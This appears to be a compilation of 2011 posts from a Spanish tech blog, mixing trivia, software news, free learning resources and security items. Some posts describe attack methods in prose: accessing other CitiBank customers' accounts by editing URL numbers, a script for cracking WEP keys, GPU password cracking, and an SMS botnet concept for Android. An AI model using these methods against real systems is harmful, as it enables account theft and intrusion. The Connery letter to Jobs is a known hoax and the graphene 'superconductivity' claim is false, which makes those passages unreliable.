1. George Lucas mata a Chewbacca, el más famoso Wookiee muere en la novela Vector Prime. El editor le envió una lista de personajes con Luke el primero a George Lucas, el cual indicó que ninguno de ellos, sería el pobre Chewbacca.

2. Los Ewoks hablan Tibetano, era lo que le faltaba ya a los pobres Ewoks, pero es cierto. El editor de sonido Ben Burtt usó frases tibetanas para el lenguaje Ewok.

Carta de Sean Connery a Apple (Steve Jobs)

Más o menos dice:

"Mr Jobs                                                                                                       Diciembre 1998

Voy a decir esto una vez más. No entiendes inglés ¿verdad?, no voy a vender mi alma a Apple o a ninguna otra compañía. No tengo ningún interés en "cambiar el mundo" tal como sugieres. No tienes nada que yo necesite o quiera. Eres un vendedor de ordenadores ¡Y yo soy el jodido James Bond!

La web tarda demasiado (Infografía)

Interesante gráfico sobre donde se va el tiempo de carga de una página web, cuya media parece ser que son 6 segundos.

Fuente

Firefox 5

3 meses después de que la fundación Mozilla liberar Firefox 4, ha liberado esta nueva quinta versión.

En ésta podremos encontrar muchas mejoras tanto en temas de rendimiento como de estabilidad y seguridad.

Entre muchas de sus novedades podemos encontrar:

• Implementación de animaciones con CSS3 con la que los programadores podrán crear aplicaciones mucho más ricas en lo que multimedia se refiere
• Cambios en la API de programación
• Nuevos atributos y métodos asociados a etiquetas HTML
• Soporte de UTF-7 y UTF-32
• WebGL evita la carga de texturas desde otros dominios que no sea el original
• Muchas mejoras en el Canvas, así como en el DOM
• No manda en la cabecera el campo Keep-Alive
• Pool de conexiones para reusar conexiones previas
• Mejora en el tratamiento del campo Content-Disposition
• Mejoras en la consola web

Entrada oficial del anuncio, dónde podréis encontrar más información.

Stuxnet: Anatomía de un virus informático

Poco tengo que decir sobre Stuxnet más que es el virus más potente hasta ahora conocido. Este virus está especialmente diseñado para atacar plantas nucleares, sistemas de tráfico aéreo y fábricas. Según los análisis llevados a cabo hasta el momento, este espécimen es 20 veces más complejo que cualquier otro virus conocido. Prueba de ello, es que éste llevaba en su arsenal nada más y nada menos que 20 0days. Stuxnet tenía un objetivo muy claro sabotear las plantas de enriquecimiento de uranio Iraníes. Según rumores, no hay evidencias, Israel podría ser uno de los responsables de este malware, así como EEUU e incluso se sospecha de Siemens, cuyo software corren las centrales nucleares Iraníes.

Telehack

Telehack es una simulación de la apaner/usenet de los años 1985-1990. Es una simulación multiusuario completa. Incluye 25000 servidores y BBSs de los principios de la red, miles de ficheros, una colección de juegos de aventuras, un intérprete de Basic junto a una librería de programas listos para ejecutarse, usuarios simulados, etc.

Puedes juguetear con este sistema desde el navegador o a través de telnet: telnet telehack.com

Estudiante de instituto crea ordenador de 8 bits …

Jack Eisenmann, adolescente que acaba de terminar el instituto ha creado totalmente desde cero un ordenador de 8 bits.

Usando un teclado y una televisión vieja, chips TTL y muchos cablecitos :) ha construido su propia CPU, cableada totalmente a mano. Pero aquí no queda la cosa, hardware sin software no vale para nada y lo primero es lo primero, el sistema operativo, al cual también ha creado él mismo. así como varios juegos como el Pong, Life y Donkey Kong al cual ha llamado: Get Muffin.

Presentaciones de la AppSec Europe 2011

Ya están disponibles las presentaciones de la AppSec Europe 2011 celebrada entre el 7 y 10 de junio:

1. Brad Arkin - Adobe Product Security Lifecycle.pdf
2. Tom Keetch - Practical Sandboxing with Chromium.pdf
3. Narainder Chandwani - Building a Robust Application Security Plan.pdf
4. David Stubley - APT in a Nutshell.pdf
5. Andreas Falkenberg - How to become twitter admin.pdf
6. Charles Schmidt - The Missing Link.pdf
7. Joe Basirico - Whats the Buzz About Fuzz.pdf
8. Giles Hogben - Smartphones, App-stores and HTML 5.pdf
9. Keith Turpin - Secure Coding Practices Quick Ref Guide.pdf
10. Mark Crosbie - Integrating Security Testing into a SDLC.pdf
11. JM del Prado & JG Lara - Intranet Footprinting.pdf
12. Marco Cova & Davide Canali - Building Large Scale Detectors for Web Based Malware.pdf
13. Chris Eng - Reading Between the Lines.pdf
14. Justin Searle - Python Basics for Web App Pentesters.pdf
15. Colin Watson - OWASP AppSensor Project.pdf
16. Doug Held - A Buffer Overflow Story.pdf
17. Mark Hillick - CTF Bring back more than sexy.pdf
18. Janne Uusilehto - Is SW Security just coding%3f.pdf
19. John Dickson - Software Security Is OK Good Enough.pdf
20. Paco Hope - Threat Modeling Overview.pdf
21. Simon Bennetts - OWASP Zed Attack Proxy.pdf
22. Tobias Gondrom - New standards and upcoming technologies in browser security.pdf
23. Alexis FitzGerald - Simple Approach to Specifying Security Requirements.pdf
24. Marian Ventuneac - Case Study on Enterprise E-mail (in)Security Solutions.pdf
25. Elke Roth-Mandutz - A Critical Look at Classification Schemes for Privacy Risks.pdf
26. Ofer Maor - Testing Security Testing.pdf
27. Alex Lucas - Security Science, The SDL and Openness.pdf
28. Dan Cornell - Putting the Smart in Smartphones-Security Testing Mobile Applications.pdf
29. Daniel Peck - The Dark Side of Social Networking.pdf
30. Marco Morana and Tony UV - Threat Modeling of Banking Malware.pdf
31. Justin Clarke - Practical Crypto Attacks against Web Apps.pdf

Fuente

Visto en un tweet de SecurityByDefault

Sunbears!, "little baby pines", para este domingo …

httpv://www.youtube.com/watch?v=_LGdiQK4ZEQ

Sunbears

Javascript Frameworks y jQuery (Infografía)

Fuente

¿LulzSec al descubierto?

Son muchas las noticias sobre esta grupo LulzSec, que últimamente hemos visto. El problema es que no siempre llueve a gusto de todos y como dijo alguien: dónde las dan las toman.

Un grupo llamado Team Web Ninjas, ha creado un blog llamado LulzSec Exposed dónde dan todo tipo de detalles de los integrantes de LulzSec.

El eslogan de estos ninjas: If LulzSec can expose security holes, We can expose their holes, How about this for LULZ?

Vídeo tutoriales de programación

Ahora que se acerca el veranito y las vacaciones, nada como algún cursillo para que no se nos oxide el cerebro y si es gratis, pues mejor… ¿no? ¿no?

Si lo que te apasiona es la programación o simplemente quieres aprender un poco más o no tienes más remedio, porque tienes que pagar la hipoteca, en esta lista de makeuseof han recopilado una gran cantidad de canales de vídeo en youtube de tutoriales de programación de una gran variedad de lenguajes.

Evenenamiento de motores de búsqueda (Infografía)

Fuente

Ubuntu Laika, distribución de pen testing para …

Ya hace algún tiempo hablamos aquí sobre Ribadeo, una distribución Linux basada en Gentoo orientada a la auditoría de seguridad.

En esta entrada os introduciremos Laika, una distribución Linux basada esta vez en Ubuntu. En ella podemos encontrar joyas como:

• nmap
• wireshark
• ettercap
• w3af
• aireplay-ng
• dsniff
• hping3
• netcat
• etc

Ésta está basada en la versión 10.10 de Ubuntu. Su autor nos da instrucciones detalladas de instalación. También apunte que este sistema no sustituye o sobreescribe el sistema de tu terminal, sino que conviven en paz y armonía.

Visto en Hackaday

Wikipedia dona sus servidores

 

La fundación Wikipedia está actualizando sus servidores (que no son pocos), reemplazándolos por otros más potentes. Por eso desde su web anuncian que donarán todos los servidores que ya no usan y tienen una media de 3 años (que no está mal). Estas son las características (todos en buen estado según ellos):

• Dual CPU 2,5 GHz
• desde 3GB a 24GB de RAM
• La mayoría tiene 80GB o más de disco duro

Si estás interesado en alguno de ellos, envíales un email con la siguiente información (en inglés):

Er docu der finde: Máquinas expendedoras

Mirror de crackmes.de

En esta entrada han recogido una lista de diferentes sitios web desde los cuales nos podemos descargar todos los archivos que contenía la mítica crackmes.de. Tal y como podemos ver, actualmente el sitio está cerrado y dicen que esperan volver, ya veremos si las circunstancias se lo permiten.

Mientras tanto, si quieres tener una copia de dichos archivos, aquí una lista desde donde te los puedes bajar:

Crackmes.de collection mirror #1 Crackmes.de collection mirror #2 Crackmes.de collection mirror #3 Crackmes.de collection mirror #4 Crackmes.de collection mirror #5 Crackmes.de collection mirror #6

10 tutoriales sobre Git para principiantes

Y hemos hablado sobre Git varias veces (aquí, aquí o aquí) y cada día son más los proyectos que apuestan por este servidor de control de versiones distribuido.

En Six Revisions han publicado una entrada dónde recogen 10 recursos muy útiles para aquellos que quieran iniciarse y conocer esta magnífica plataforma.

• Pro Git - Aquí nos encontramos con libro online escrito por Scott Chacon, desarrollador en GitHub
• Git Immersion - Tutorial paso a paso sobre lo básico de Git
• Git Community Book - Podríamos decir que este es el libro "oficial" de Git, escrito por la comunidad
• Git From the Bottom Up - A éste ya le dedicamos una entrada aquí
• Git Magic - Otro buen tutorial que además tiene versión en español
• Git by Example - Este es un tutorial de "manos a la obra"
• Easy Version Control with Git - Además de informarnos sobre Git, también tiene una sección dónde nos adentra a través de GitHub
• Git in Action - En este caso lo que tenemos es un vídeo tutorial de algo menos de 18 minutos con demostraciones y ejemplos prácticos
• Intro to Git for Web Designers - Git no es sólo para programadores, sino también para diseñadores web
• A Visual Git Reference - Nada como una guía visual para captar los conceptos más rápido

En la entrada original, al final recogen muchos más enlaces a recursos relacionados con Git, así que no dejes de visitarla, podrías encontrar lo que buscas.

 

45 libros para el fin de semana :D

Bueno aquí os dejo otra lista de libros que se me han ido acumulando:

1. Is Parallel Programming Hard, And, If So, What Can You Do About It? (Edición Mayo) (PDF)
2. The Architecture of Open Source Applications
3. Algorithms, 4th Edition
4. Learn You Some Erlang
5. Concurrent Programming in Erlang (PDF)
6. BecomeAnXcoder (Objective-C)
7. Objective-C 2.0 Essentials
8. Learning Cocoa with Objective-C
9. jQuery Fundamentals
10. C# Yellow Book
11. C# Programming for Beginners
12. What the C or C++ Programmer Needs to Know About C# and the .NET Framework
13. C# School First Edition
14. Data Structures and Algorithms with Object-Oriented Design Patterns in C#
15. Dive into HTML5
16. HTML5 Doctor
17. Programming in Lua (first edition)
18. Programming Gems
19. Lua 5.1 Reference Manual
20. Managing your eBooks with Calibre
21. Peachpit: Web Design Reference Guide
22. JavaScript Programming for the Absolute Beginner
23. Foundations of Ajax, Volume 13
24. Up to Speed on HTML 5 and CSS 3 (PDF)
25. Learning PHP 5
26. Head first HTML with CSS & XHTML
27. Simply Lift
28. The R Inferno
29. Producing Open Source Software
30. Getting Real
31. Developing User-Friendly Flash Content
32. The Web Book
33. The Elements of Typographic Style Applied to the Web
34. Search User Interfaces
35. The Woork Handbook
36. Web Designer's Success Guide
37. Design Your Imagination
38. Introduction to Good Usability
39. Taking your talent to the Web
40. How To Be Creative
41. The Design Funnel: A Manifesto for Meaningful Design
42. How do you design? (PDF)
43. KnockKnock
44. Eloquent JavaScript A Modern Introduction to Programming
45. Create your first website (PDF)

Fuentes: http://www.readwriteweb.com - http://www.dzone.com

Comparación de los 6 sitios web más grandes …

Fuente

Generador de llaves casero

Hablamos de un generador de llaves de verdad, de esas que usas para entrar y salir de casa por ejemplo. Vale, alguno usará el bluetooth del móvil o una patada ninja para abrir la puerta, pero seguro que es la minoría.

Con la ayuda de una impresora RepRap 3D, reglas, calibradores, un puñado de llaves y cerraduras compradas en eBay y OpenSCAD, podemos ver en esta entrada como crearte tu propio generador de llaves.

Manual de Soyuz

Hemos publicado muchas entradas con todo tipo de libros. Normalmente éstos tratan de temas técnicos sobre programación, bases de datos, etc.

Algunos, como yo, os preguntaréis que demonios es Soyuz. Soyuz en una lanzadera espacial que se opera desde Guiana Space Centre o Centro Espacial de Guayanés o Puerto Espacial de Kourou (como José y Pepe).

Pues bien desde la web de Arianespace, compañía que ofrece los servicios de Soyuz, nos podemos descargar el manual de usuario de Soyuz (PDF). El documento data de 1996 y seguro que muchas cosas habrán cambiado, pero me resultó muy curioso.

Robando más de 200.000 cuentas de CitiBank sólo …

Más de 200.000 cuentas de CitiBank incluyendo nombres, tarjetas de crédito, correos, direcciones, etc. se han visto comprometidas de una forma bastante fácil. Sólo tenías que entrar como cliente y cambiar algunos números de la URL  en el navegador. Una vez que te logeas a CitiBank, la URL contiene un código que identifica tu cuenta, todo lo que tienes que hacer es cambiar los números y ya está, seguro que pillas la cuenta de alguien.

Guitar Baby ¡Yeah!

httpv://www.youtube.com/watch?v=iwsQudFjXXE

Pedazo de fake espectacular visto en TheAwesomer, no te pierdas el final.

Pauldotcom en Español

Allá por Abril si no recuerdo mal se estrenó un nuevo podcast sobre seguridad llamado PaulDotCom en Español.

Éste lo dirige Carlos Pérez (@Carlos_Perez) también conocido como Darkoperator e integrante de PaulDotCom y tertuliano activo de la versión en inglés de este podcast, que recomiendo encarecidamente a aquellos que se defiendan con el inglés.

En el primer podcast que publicaron, entrevistaron a Julio Canto de VirusTotal y hoy mismo acaban de publicar el segundo, con Lorenzo Martínez de SecurityByDefault y el tercero con el hacker del gorro :-p, Chema Alonso de el lado del mal.

Ya tenemos el primer circuito integrado de grafeno

Y como no, tenía que ser IBM la primera en fabricarlo. Exactamente, el circuito integrado es un transistor FET (Transistor de Efecto de Campo). Ventajas, una es por ejemplo que este transistor podría trabajar a velocidades de terahercios (10^12 Hercios). Otra gran ventaja (aparte de la ya famosa superconductividad que les caracteriza) es la temperatura, ya que los circuitos fabricados con grafeno se calientan mucho menos.

Aún quedan algunos años hasta que los circuitos de grafeno sustituyan a los de silicio actuales, que por cierto, llegarán a su límite de integración a finales de esta década.

Siete minutos de juego "The Elder Scrolls V: …

httpv://www.youtube.com/watch?v=qCUuw8Hpijg&feature=player_embedded

Increible el motor gráfico y el detalle, no te pierdas esta entrada escrita por mi amigo Jose María Villalobos en Vida Extra sobre este The Elder Scrolls V.

Fotografías de famosos juntos

No tenía muy claro cómo titular este post pero es sólo eso, gente (y personajes) famosa junta. Verás fotografías como por ejemplo esta, donde está David Bowie, Iggy Pop y Lou Reed:

Dalí con Walt Disney:

Andy Warhol y Alfred Hitchcock:

Y la foto de todas las fotos, aquí están entre otros físicos, Marie Curie, Albert Einstein, Niels Bohr, Max Planck y Erwin Schrodinger (toma ya):

Nueva cinemática de Star Wars Old Republic, …

httpv://www.youtube.com/watch?v=7GqetOJQ3cQ

Aquí la tenéis, con subtítulos en español. Es realmente espectacular.

SWTOD web

Noah and the Whale "First Day of Spring", para …

httpv://www.youtube.com/watch?v=EcwABj_1FKA

Espectacular, estas canciones son las que tienes que escuchar hasta el final. Por cierto fijaos qué bien queda esta canción, por ejemplo en un video de una boda (lo ví en un tweet de nuestro amigo Gonzalo, aquí el post original), por lo general hay que huir de estos videos ;) pero este es realmente especial:

[vimeo]http://vimeo.com/17065523[/vimeo]

Noah and Whale.

 

Cómo hacer un Angry Birds, segunda parte

 

Ya tenemos la segunda parte (y parece que es la última) de este espectacular tutorial de Paul Firth para crear un juego igual que Angry Birds. Incluso ya puedes jugar, en artículo ya aparece el juego totalmente operativo (con tres niveles) y la verdad es que se parece bastante. Ahora sería un buen momento incluso para comprar el código, lo malo es esta vez ha pasado de los 4,99 dólares a los 49,9 dólares. Bueno, si realmente te interesa, es una buena manera de empezar a programar en Flash y crearte tus propios juegos. De todas formas, como el anterior, merece la pena leerlo sólo por la teoría.

Cómo hacer un Angry Birds, primera parte

Otro sensacional post de Paul Firth (ya hablamos de él en este otro artículo), esta vez nos ofrece una clase magistral de cómo hacer un juego igual que el famoso Angry Birds. Nos explicará todo, desde la el uso de la física, de la cámara, colisiones, gráficos de los personajes, etc.

En esta primera parte nos hablará sobre la creación del entorno (background) del juego, las capas del suelo, cielo, decorado, etc. Incluye explicaciones gráficas, pseudocódigo y demás. Y como hace en otras entradas, si quieres todo el código fuente (de nuevo en Actionscript), Paul nos lo ofrece donándole 4,99 dólares.

Er docu der finde: Secretos desclasificados, La …

Música para programar

Me gusta la tranquilidad, pero no el silencio. Por eso cuando me siento a programar me gusta escuchar algo de fondo. Muchas veces me pongo algún podcast, pero cuando me centro a programar no me entero de nada del podcast y si le presto atención al podcast, no puedo puedo concentrar en la programación. Por lo tanto un podcast no es la mejor opción para ser productivo. Con la música, depende del tipo de música me pasa lo mismo. Si la música que pongo tiene mucha letra, me cuesta concentrarme en la programación. Así que el tipo de música con la que me gusta programar, es la que tenga ritmo y que además no tenga mucha letra.

Michael Levin: el maestro de los paisajes

Michael Levin es uno de los mejores fotógrafos paisajísticos de Canadá. En su último viaje a Japón realizó este film que es pura poesía visual; las fotos están al final del documental. Está realizada con una Canon 5D Mark II y una Hasselblad. Para los time-lapses utiliza una dolly de Dynamic Perception y solo trabaja en B&N. Las situaciones de los paisajes, como suele ser, pertenecen al secreto profesional y no se mencionan en ningún sitio. Tiene un libro llamado Zebrato en el que puede verse una selección de sus mejores obras.

Rompiendo contraseñas WEP a base de copiar y pegar

WEPAutoCrack es un script escrito en python que nos lo pone muy fácil a la hora de romper contraseñas WEP. Cuando ejecutamos el script, pasando como parámetro el dispositivo de red que vamos a usar. Nos muestra una lista de las redes disponibles que queremos atacar, seleccionamos una y nos muestra un listado con los comandos y sus parámetros que tenemos que ejecutar. A partir de ahí todo es coser y cantar copiar y pegar :)

8 artículos para aprender a analizar malware en …

Tal y como avanzan las cosas, los terminales móviles en muy poco tiempo podría ser el objetivo número uno de las mafias o delincuentes informáticos.

Últimamente casi por semana aparece alguna noticia sobre algún tipo de malware para terminales móviles o fallos de seguridad en dichos sistemas, que permiten el robo de datos.

Por su popularidad las 2 plataformas más atacadas son iOS y Android, siendo esta última, quizás, la más afectada en cuando al mercado de malware. Desde mi punto de vista, no porque sea menos segura que iOS, sino porque hoy en día tiene más mercado y la publicación de aplicaciones en el mercado es mucho menos restrictiva.

¿Qué es Tor?

Fuente: EFF

Nace "Open Data Congreso". La importancia de …

... y me refiero a todos los ámbitos de la vida, en especial del trabajo: (nótenme la ironía)

 

• ¿Por qué es necesario fichar al entrar y al salir?

• ¿Por qué es necesario justificar las faltas de asistencia?

• ¿Por qué existen las sanciones ante las faltas de asistencia sin justificación?

• ¿Quién decide que debe hacer un trabajador en su jornada laboral?

Dos pósters "vintage" de "2001, una odisea en el …

El primero de la nave Orion III:

Y el segundo, espectacular, de HAL 9000:

Haz click en los dos para verlos a tamaño completo.

Visto en io9.

Ingeniería inversa del Mac Defender

Últimamente por la atmósfera de Apple han estado las cosas un poco revueltas y no por el keynote que Steve Jobs dio ayer anunciando lo que nos deparará este año, sino más bien por los problemas de seguridad que el sistema operativo de Apple has estado sufriendo, entre ellos el del ya conocido Mac Defender.

Lo que quería comentar era esta entrada, muy didáctica sobre como se comporta dicho malware. El autor, haciendo uso de IDA Pro (versión demo :)) nos va guiando por las entrañas de Mac Defender.

Diccionarios y listas de palabras a dieta

Ahora que llega el veranito hay que ponerse en forma e intentar dejar a un lado esos michelines provocados por el sedentarismo del informático y la mala vida, bueno buena para algunos :-)

Después de la tontería, lo que os quería comentar era este enlace. Una entrada en la que el autor nos cuenta con pelos y señales, es decir, paso a paso y con gráficas incluidas, el cómo ha conseguido reducir el tamaño de muchos ficheros de diccionario y listas de palabras. Llegando incluso a reducir el tamaño de algunos de estos ficheros en un 43%.

Nuevo look en CyberHades para celebrar los 4.000 …

Hemos cambiado algo el logo (esperamos que os guste) y el tema del blog para celebrar que ya casi estamos (quien lo iba a decir) en 4.000 entradas publicadas. Nunca pensé que llegaríamos a publicar tantos posts cuando empezamos nuestro humilde blog (qué aún puedes ver aquí) en junio del 2007 cuando Plutón aún era un planeta ;) y decidí mi nick por el nombre de su satélite, Caronte, el barquero (perfecto para Cyber-Hades).

Project Euler, una web para resolver programando …

Project Euler es una web llena de desafíos matemáticos que tienen que resolverse mediante programación, donde más que tu nivel de matemáticas, lo que te aydará a resolverlo es tu nivel de programación. No te exigen que subas el código, sólo te piden la solución exacta para verificarla (por supuesto, puedes encontrar la solución por otras vías, pero esa no es la finalidad de la web).

The who, why, and how of Twitter (Infografía)

Visto aquí

Al pájaro!! Al pájaro!!

link

Programando la física del movimiento (con …

Excelente artículo llamado "Physics engines for dummies" donde aprenderemos, con unos conocimientos básicos de matemáticas y geometría, a programar todo tipo movimientos, colisiones, etc.

El artículo tiene unos ejemplos bastante didácticos, y te explica la teoría completa (a partir de aquí ya podrías programarlo tú mismo en el lenguaje que quieras) y nos muestra parte del código/pseudocódigo (si quieres el código fuente de todos los ejemplos tenemos que comprarlo por 5,99$, en Actionscript 3.0).

Un divertido mapa de Poniente/Westeros (Canción de …

 

Una forma divertida de tener un poco más claro por donde se mueven y de donde vienen todos los reinos de Canción de Hielo y Fuego.

Pulsa en el mapa para verlo a tamaño completo.

Visto en fohguild.

Servidor Web (sencillo) en ASM x86

 

Muy útil para estudiar el código y comprender el funcionamiento básico de un servidor web y repasar algo de ensamblador. Sólo incluye las funciones básicas, responde a peticiones GET y permite descarga de ficheros.

Puedes verlo y descargarlo aquí.

The National Academies Press permite la descarga …

Pues sí, echa un vistazo a todo el arsenal de libros y otras publicaciones que tienen en su sitio web aquí. Desde Agricultura, Biología, Educación y por supuesto Informática (aquí tienes todos los temas), puedes descargarlos de forma gratuita desde su web. Sólo tienes que darte de alta y podrás descargar libros como este:

Cybersecurity Today and Tomorrow: Pay Now or Pay Later

No dudes en echar un vistazo.

Visto en HackerNews.

Manhattan in motion

Visto en TheAwesomer.

The Joy Formidable "Austere", para hoy, domingo

The Joy Formidable

"The museum of Me", un museo de tu vida en …

Entras en esta dirección y accedes a tu Facebook, y tendrás una representación de tu vida en un video igual que si fuera un museo con una exposición temática sobre ti.

Amigos, intereses, "Me gusta", fotos, etc, todo respresentado por salas y con un estilo visual impecable.

Er docu der finde: Historia secreta de los piratas …

El título original es: Hackers: Computer outlaws.

El tamaño del Sol visto desde otros planetas del …

Imagináos el Sol visto en Mercurio (7 veces el que vemos en la Tierra) y otro en Neptuno …

Visto aquí.

UFO: Alien Invasion para Android

 

Si te pasaste horas como yo jugando a UFO X-COM para PC hace ya unos añitos, te alegrarás al saber que ya existe una primera versión de un clon llamado UFO: Alien Invasion para Android (gratuita). Es un juego de estrategia por turnos donde tendrás que salvar a la Tierra de una invasión extraterrestre y a la vez investigar sus armas (y vehículos) para crear las tuyas propias para poder hacerles frente.

FaceNiff, el Firesheep de Android

Un vídeo vale más que mil palabras… ¿o era una imagen?

Visto en Lifehacker

Lugares abandonados del mundo... para fotografiar

1.-) Castillo-Catedral en Mesen (Bélgica):

Increíble castillo construido, reconstruido y ampliado desde el siglo XIV pero abandonado a mediados del XX. Ahora se esta pensando en su reconstrucción, así que si eres fotógrafo date prisa porque ya no volverá a ser igual. Más info Wiki.

2.-) La prisión abandonada de Pittsburgh, Pennsylvania (EEUU):

La "West Virginia State Penitentiary", de estilo gótico, estuvo en funcionamiento de 1876 a 1995. Se le ha utilizado para funciones tan dispares como campo de concentración para prisioneros de la Confederación en la Guerra Civil o como institución para alcohólicos anónimos en nuestra época. Más info Wiki.

GPU Password Cracking en Windows

Windows

Vamos a sacarle más partido a nuestra tarjeta gráfica que ya es hora ;) . GPGPU consiste en hacer cálculos con la tarjeta gráfica (GPU) en vez de usar la CPU, ya que estas son más eficientes con cálculos en paralelo. El autor utiliza una aplicación para crackear contraseñas llamado "ighashgpu", desarrollada por Ivan Golubev, que funciona bajo línea de comandos y aprovecha la potencia de nuestra tarjeta gráfica para sus cálculos (en concreto, el autor usa una ATI Radeon 5770).

IV Curso de Verano de Seguridad Informática en …

Ya estuvimos en el III Curso en Valencia pero nos resultará difícil asistir a este IV Curso de Seguridad Informática en Madrid, pero viendo las conferencias y recordando lo bien que lo pasamos (y lo que aprendimos) el año pasado haremos lo imposible por ir.

Ojo a los ponentes de estos tres días de junio 28, 29 y 30: Chema Alonso, Rubén Santamarta, Alejandro Martín Bailón, Juan Luis García Rambla, Sergio de los Santos, Pedro Sánchez, Igor Lukic, Fernando Guillot, Miguel López Calleja, Juan Garrido, Jorge Ramió y José Selvi.

Dos tutoriales de iptables

Si usas Linux ya deberías conocerás iptables, y sino ahora es el momento de ponerte al día con estos dos tutoriales, uno en inglés y otro en castellano donde podrás desde aprender lo básico hasta las técnicas más avanzadas. Las iptables son la columna vertebral de la seguridad (Firewall) de cualquier sistema Linux, por lo tanto su conocimiento y uso es fundamental para mantener un sistema seguro.

Trailer completo de "Don't be afraid of the Dark"

De Guillermo del Toro, “Don’t be afraid of the Dark”. Se estrena en Agosto en los USA.

Botnet en Android usando SMS

Esto no es más que una prueba de concepto, hasta la fecha no se conoce ningún malware que haga uso de este tipo de tecnología.

La idea en este caso es sustituir el modulo radio de nuestro terminal. Una vez hecho eso, cualquier mensaje que recibamos por SMS que no empiece por BOT: se considera un SMS legítimo y si empieza por BOT: lo interpreta como un mensaje enviado desde la bot.

El robot más rápido del mundo resolviendo el cubo …

Ruby es el nombre del robot que ha sido construido como proyecto de fin de carrera por 6 estudiantes de la universidad de tecnología de Swinburne (Australia).

Dicho robot es capaz de resolver el cubo de Rubik en un ¡tiempo record de 10,69 segundos!

El sistema está compuesto por un PC y un microcontrolador, conectado por USB al PC y una cámara también conectada a dicho PC. El software desarrollado por estos estudiantes, lee los colores del cubo a través de la cámara y calcula todos los movimientos necesarios para resolverlo y esta lista de movimientos es mandada al microcontrolador, el cual manda las instrucciones necesarias a los servos.

Cómo ejecutar Mac OS X en VirtualBox sobre Windows

Si quieres jugar un rato con el Mac OS X sin tener que comprarte un ordenador Apple, en LifeHacker nos muestran un estupendo tutorial de cómo crear una máquina virtual con VirtualBox ejecutando Mac OS X. El problema es que necesitas una ISOX86 para poder instalarlo, pero bueno, ellos dejan en nuestras manos el encontrar una.

Si ya tienes todo el material necesario, VirtualBox y la ISO del Mac OS X, ya sólo tienes que seguir los pasos del tutorial (aquí original).

Marakana TechTV: Android bootcamp

Con un total de 18 clases, ya no tienes excusas para iniciarte en el desarrollo de aplicaciones para Android si se te pasó alguna vez por la cabeza.

Los vídeos tienen muy buena pinta y van desde una completa introducción a Android hasta el control de sensores de localización, pasando por la creación de servicios, manejo de base de datos, publicación en el mercado, etc

1. Clase 1 Parte 1 - A 9,000 foot overview
2. Clase 1 Parte 2 - Helloworld (anatomy of an Android app)
3. Clase 1 Parte 3 - Main Building Blocks
4. Clase 1 Parte 4 - Android UI
5. Clase 2 Parte 1 - Spicing up the UI
6. Clase 2 Parte 2 - Drawables
7. Clase 2 Parte 3 - Traceview
8. Clase 2 Parte 4 - AsyncTask, Preferences, and Options Menu
9. Clase 3 Parte 1 - Application Object
10. Clase 3 Parte 2 - Android Service Example
11. Clase 3 Parte 3 - Databases
12. Clase 4 Parte 1 - StatusData
13. Clase 4 Parte 2 - TimelineActivity
14. Clase 4 Parte 3 - Lists and Adapters
15. Clase 5 Parte 1 - BaseActivity
16. Clase 5 Parte 2 - Publishing to Android Market
17. Clase 5 Parte 3 - BroadcastReceivers
18. Clase 5 Parte 4 - Location Sensors

Fuente original

 

Ingeniería inversa en firmware, un ejemplo …

 

Detallado y documentado análisis de ingeniería inversa aplicada esta vez a firmware, en concreto se analiza uno del router Linksys WAG120N.

 

 

Comprender la imágen de una firmware es útil para ver posibles bugs, vulnerabilidades, modding, etc. y de paso aprender un poco de la estructura estos sistemas. Constan de su kernel, boot loader e incluso un sistema de ficheros, al fin y al cabo no son más que sistemas embebidos.

Montaje de video con fotos de la Misión Cassini …

Espectacular montaje  con fotos de la Misión Cassini (ojo a la música de Cosmos).

Todas estas maravillas están “aquí al lado”, en nuestro Sistema Solar, ¿qué otras maravillas habrá ahí fuera?.

Como decía Carl Sagan:

Somewhere, something incredible is waiting to be known.

(En algún lugar, algo increible está esperando a ser conocido)

GPU Quad-Core Kal-El de NVIDIA en acción

Los juegos para Android (y otros dipositivos móviles) ya no serán lo mismo. Sino fijáos en la espectacular demo de NVIDIA para su nuevo chip gráfico Kal-El:

Más info en el artículo original aquí.

Domingo perfecto para escuchar "1.000 Ships" de …

Rachel Platten

Vídeos sobre Android de la Google IO 2011

Este es la lista de vídeos relacionados con Android que tuvieron lugar en la Google IO de este año:

• 3D Graphics on Android: Lessons learned from Google Body
• Accelerated Android Rendering
• Android + App Engine: A Developer's Dream Combination
• Android Development Tools
• Android Market for Developers
• Android Open Accessory API and Development Kit ADK
• Android Protips: Advanced Topics for Expert Android App Developers
• Beginner's Guide to Android
• Best Practices for Accessing Google APIs on Android
• Bringing C and C++ Games to Android
• Building Aggressively Compatible Android Games
• Building Android Apps for Google TV
• Designing and Implementing Android UIs for Phones and Tablets
• Don't just build a mobile app. Build a business.
• Evading Pirates and Stopping Vampires
• Fireside Chat with the Android Team
• Google TV, the New Frontier for App Development
• Honeycomb Highlights
• How to NFC
• Leveraging Android Accessibility APIs To Create An Accessible Experience
• Memory management for Android Apps
• Optimizing Android Apps with Google Analytics
• Taking Android to Work

 

BareMetal OS, un sistema operativo para geeks de …

BareMetal es un sistema operativo (de 16KB) para ordenadores basados en la arquitectura x86-64. Todo el SO está escrito en ensamblador, pero las aplicaciones se pueden escribir tanto en ASM como en C/C++. Está destinado sobre todo para computación avanzada (el famoso “Hello World!” en BareMetal, compilado ocupa 31 bytes), sistemas embebidos o educación.Necesitas un loader para ejecutarlo, se llama Pure64. Este lanzador es el que prepara el acceso para que BareMetal OS pueda acceder a todos los rincones de la CPU. Se incluye una imágen de 32MB con arranque para que puedas virtualizarlo también.Con la versión actual puedes acceder a librerías en C/C++ para tus aplicaciones, acceso DMA para los discos duros, soporte TCP/IP (básico), Redes (chipset Realtek 8169 e Intel 8254x),etc.Echa un vistazo a la web principal para más información.

Caro 2011, presentaciones

Caro 2011 es una conferencia de seguridad que tuvo lugar en Praga los pasados 4,5 y 6 de Mayo. Aquí podéis ver el programa. Y a continuación el listado con las presentaciones:

1. Alex Kirk - Characteristics and detection of HTTP C&C.pptx
2. Andrei Saygo and Patrik Vicol - How to stop the Daemon.ppsx
3. Anoirel Issa - Polymorphism and anti anti-virus techniques - A look at recent malware trends.pdf
4. Anthony Bettini - (In)security in URL shortening and redirection services.pptx
5. Christine Bejerasco - Building a reputation - A session with a website shrink.pptx
6. Chun Feng - The shellcode storm caused by the butterfly effect.pptx
7. Daniel Radu and Bruce Dang - Shellcode analysis using dynamic binary instrumentation.pdf
8. DonatoFerrante - Java malware.pdf
9. Igor Muttik - Keynote address - Ubiquitous malware and ubiquitous AV.pptx
10. Jindrich Kubec and Jiri Sejtko - Grabbing the PDF by the tail.PDF
